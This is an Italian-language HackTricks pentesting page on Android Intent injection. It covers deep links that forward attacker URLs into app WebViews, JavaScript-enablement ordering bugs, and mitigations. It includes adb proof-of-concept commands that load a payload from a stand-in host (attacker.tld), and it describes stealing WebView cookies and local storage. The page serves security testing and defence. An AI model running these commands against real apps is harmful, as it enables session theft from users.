Intent Injection

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

L'iniezione di intent sfrutta componenti che accettano Intent o dati controllati dall'attaccante che vengono successivamente convertiti in Intent. Due modelli molto comuni durante i pentest delle app Android sono:

  • Passare extras creati a mano ad Activities/Services/BroadcastReceivers esportati che vengono successivamente inoltrati a componenti privilegiati, non esportati.
  • Attivare link profondi VIEW/BROWSABLE esportati che inoltrano URL controllati dall'attaccante in WebView interne o altri sink sensibili.

Deep links → WebView sink (iniezione di parametri URL)

Se un'app espone un link profondo con uno schema personalizzato come:

text
myscheme://com.example.app/web?url=<attacker_url>

e l'Activity ricevente inoltra il parametro di query url in un WebView, puoi costringere l'app a rendere contenuti remoti arbitrari nel proprio contesto WebView.

PoC tramite adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impatto

  • HTML/JS viene eseguito all'interno del profilo WebView dell'app.
  • Se JavaScript è abilitato (per impostazione predefinita o a causa di controlli errati), puoi enumerare/utilizzare qualsiasi oggetto @JavascriptInterface esposto, rubare i cookie/local storage di WebView e pivotare.

Vedi anche:

Webview Attacks

Bug di ordine dei controlli che abilita JavaScript

Un bug ricorrente è l'abilitazione di JavaScript (o altre impostazioni permissive di WebView) prima che la lista di autorizzazione/verifica dell'URL finale sia completata. Se i helper iniziali accettano il tuo deep link e il WebView è configurato per primo, il tuo caricamento finale avviene con JavaScript già abilitato anche se i controlli successivi sono difettosi o troppo tardi.

Cosa cercare nel codice decompilato:

  • Molti helper che analizzano/scompongono/ripristinano l'URL in modo diverso (normalizzazione incoerente).
  • Chiamate a getSettings().setJavaScriptEnabled(true) prima dell'ultimo controllo della lista di autorizzazione host/percorso.
  • Un pipeline come: analizza → convalida parziale → configura WebView → verifica finale → loadUrl.

Mitigazioni

  • Canonizza una volta e convalida rigorosamente; fallisci in modo chiuso.
  • Abilita JavaScript solo dopo che tutti i controlli sono superati e giusto prima di caricare contenuti fidati.
  • Evita di esporre ponti a origini non fidate.

Altri classici primitivi di iniezione Intent

  • startActivity/sendBroadcast utilizzando extra Intent forniti dall'attaccante che vengono successivamente riparsati (Intent.parseUri(...)) ed eseguiti.
  • Componenti proxy esportati che inoltrano Intents a componenti sensibili non esportati senza controlli di autorizzazione.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks